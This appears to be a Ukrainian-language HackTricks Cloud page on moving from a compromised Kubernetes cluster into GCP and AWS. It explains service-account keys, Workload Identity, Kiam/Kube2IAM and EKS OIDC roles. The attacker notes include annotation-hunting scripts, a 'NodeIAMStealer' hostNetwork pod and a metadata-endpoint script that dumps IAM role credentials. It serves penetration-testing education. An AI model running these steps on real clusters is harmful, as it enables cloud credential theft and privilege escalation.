Kubernetes Pivoting to Clouds
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
GCP
Якщо ви запускаєте кластер k8s всередині GCP, ви, напевно, захочете, щоб деякий додаток, що працює всередині кластера, мав доступ до GCP. Є 2 поширених способи зробити це:
Монтування ключів GCP-SA як секрету
Поширений спосіб надати доступ до kubernetes-додатку до GCP:
- Створити обліковий запис служби GCP
- Прив'язати до нього необхідні дозволи
- Завантажити json-ключ створеного SA
- Замонтувати його як секрет всередині пода
- Встановити змінну середовища GOOGLE_APPLICATION_CREDENTIALS, що вказує на шлях, де знаходиться json.
warning
Тому, як зловмисник, якщо ви скомпрометували контейнер всередині пода, вам слід перевірити цю змінну середовища та json файли з обліковими даними GCP.
Прив'язка GSA json до KSA секрету
Спосіб надати доступ до GSA для кластера GKE - це прив'язати їх таким чином:
- Створити обліковий запис служби Kubernetes в тому ж просторі імен, що й ваш кластер GKE, використовуючи наступну команду:
Copy codekubectl create serviceaccount <service-account-name>
- Створіть Kubernetes Secret, який містить облікові дані облікового запису служби GCP, до якого ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка
gcloud
, як показано в наступному прикладі:
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Прив'яжіть Kubernetes Secret до облікового запису служби Kubernetes за допомогою наступної команди:
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
На другому етапі були встановлені облікові дані GSA як секрет KSA. Тоді, якщо ви можете прочитати цей секрет з всередині кластеру GKE, ви можете ескалювати до цього облікового запису служби GCP.
GKE Workload Identity
З Workload Identity ми можемо налаштувати обліковий запис служби Kubernetes, щоб він діяв як обліковий запис служби Google. Поди, що працюють з обліковим записом служби Kubernetes, автоматично аутентифікуються як обліковий запис служби Google при доступі до API Google Cloud.
Перший рядок кроків для активації цієї поведінки - це активувати Workload Identity в GCP (кроки) та створити GCP SA, який ви хочете, щоб k8s представляв.
- Активуйте Workload Identity на новому кластері
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Створити/Оновити новий пул вузлів (Кластери Autopilot не потребують цього)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Створіть GCP обліковий запис служби для наслідування з K8s з дозволами GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Підключіться до кластера та створіть обліковий запис служби для використання
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Прив'язати GSA до KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Запустіть pod з KSA та перевірте доступ до GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Перевірте наступну команду для автентифікації у разі потреби:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Як атакуючий всередині K8s, ви повинні шукати SAs з анотацією iam.gke.io/gcp-service-account
, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Іншим варіантом було б спробувати зловживати кожним KSA в кластері та перевірити, чи має він доступ.
З GCP завжди цікаво перерахувати зв'язки та дізнатися, який доступ ви надаєте SAs всередині Kubernetes.
Це скрипт для легкого ітерації по всіх визначеннях подів, шукаючи цю анотацію:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM роль для Pods)
Застарілий спосіб надання IAM ролей Pods - це використання Kiam або Kube2IAM сервера. В основному, вам потрібно запустити daemonset у вашому кластері з привілейованою IAM роллю. Цей daemonset буде тим, хто надасть доступ до IAM ролей pods, які цього потребують.
По-перше, вам потрібно налаштувати які ролі можуть бути доступні всередині простору імен, і ви робите це за допомогою анотації всередині об'єкта простору імен:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Якщо простір імен налаштований з IAM ролями, які можуть мати Pods, ви можете вказати роль, яку ви хочете в кожному визначенні pod, за допомогою чогось на зразок:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Як атакуючий, якщо ви знайдете ці анотації в подах або просторах імен, або сервер kiam/kube2iam, що працює (ймовірно, в kube-system), ви можете вдаватись в будь-яку роль, яка вже використовується подами, і більше (якщо у вас є доступ до облікового запису AWS, перерахувати ролі).
Створити Pod з IAM роллю
note
IAM роль, яку потрібно вказати, повинна бути в тому ж обліковому записі AWS, що й роль kiam/kube2iam, і ця роль повинна мати можливість доступу до неї.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role для K8s Service Accounts через OIDC
Це рекомендований спосіб від AWS.
- По-перше, вам потрібно створити OIDC провайдер для кластера.
- Потім ви створюєте IAM роль з дозволами, які буде вимагати SA.
- Створіть відносини довіри між IAM роллю та SA (або просторами імен, які надають доступ до ролі всім SA в просторі імен). Відносини довіри в основному перевірятимуть ім'я OIDC провайдера, ім'я простору імен та ім'я SA.
- Нарешті, створіть SA з анотацією, що вказує ARN ролі, і контейнери, що працюють з цим SA, матимуть доступ до токена ролі. Токен записується в файл, а шлях вказується в
AWS_WEB_IDENTITY_TOKEN_FILE
(за замовчуванням:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Щоб отримати aws, використовуючи токен з /var/run/secrets/eks.amazonaws.com/serviceaccount/token
, виконайте:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Як атакуючий, якщо ви можете перерахувати кластер K8s, перевірте облікові записи служб з цією анотацією, щоб ескалювати до AWS. Для цього просто exec/create pod, використовуючи один з привілейованих облікових записів служб IAM, і вкрадіть токен.
Більше того, якщо ви всередині pod, перевірте змінні середовища, такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.
caution
Іноді Політика довіри ролі може бути погано налаштована, і замість того, щоб надати доступ до AssumeRole очікуваному обліковому запису служби, вона надає його всім обліковим записам служб. Тому, якщо ви здатні записати анотацію на контрольованому обліковому записі служби, ви можете отримати доступ до ролі.
Перевірте наступну сторінку для отримання додаткової інформації:
Знайти Pods a SAs з IAM ролями в кластері
Це скрипт для легкого ітерації по всіх pod і визначення sas, шукаючи цю анотацію:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role
Попередній розділ стосувався того, як вкрасти IAM ролі за допомогою подів, але зверніть увагу, що вузол K8s кластера буде екземпляром всередині хмари. Це означає, що вузол, ймовірно, матиме нову IAM роль, яку ви можете вкрасти (зверніть увагу, що зазвичай всі вузли K8s кластера мають однакову IAM роль, тому може не мати сенсу перевіряти кожен вузол).
Однак є важлива вимога для доступу до метаданих з вузла, вам потрібно бути на вузлі (ssh сесія?) або принаймні мати ту ж мережу:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Вкрасти токен IAM ролі
Раніше ми обговорювали, як прикріпити IAM ролі до Pods або навіть як втекти до вузла, щоб вкрасти IAM роль, яку екземпляр має прикріпленою до нього.
Ви можете використовувати наступний скрипт, щоб вкрасти ваші нові важко зароблені облікові дані IAM ролі:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Посилання
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.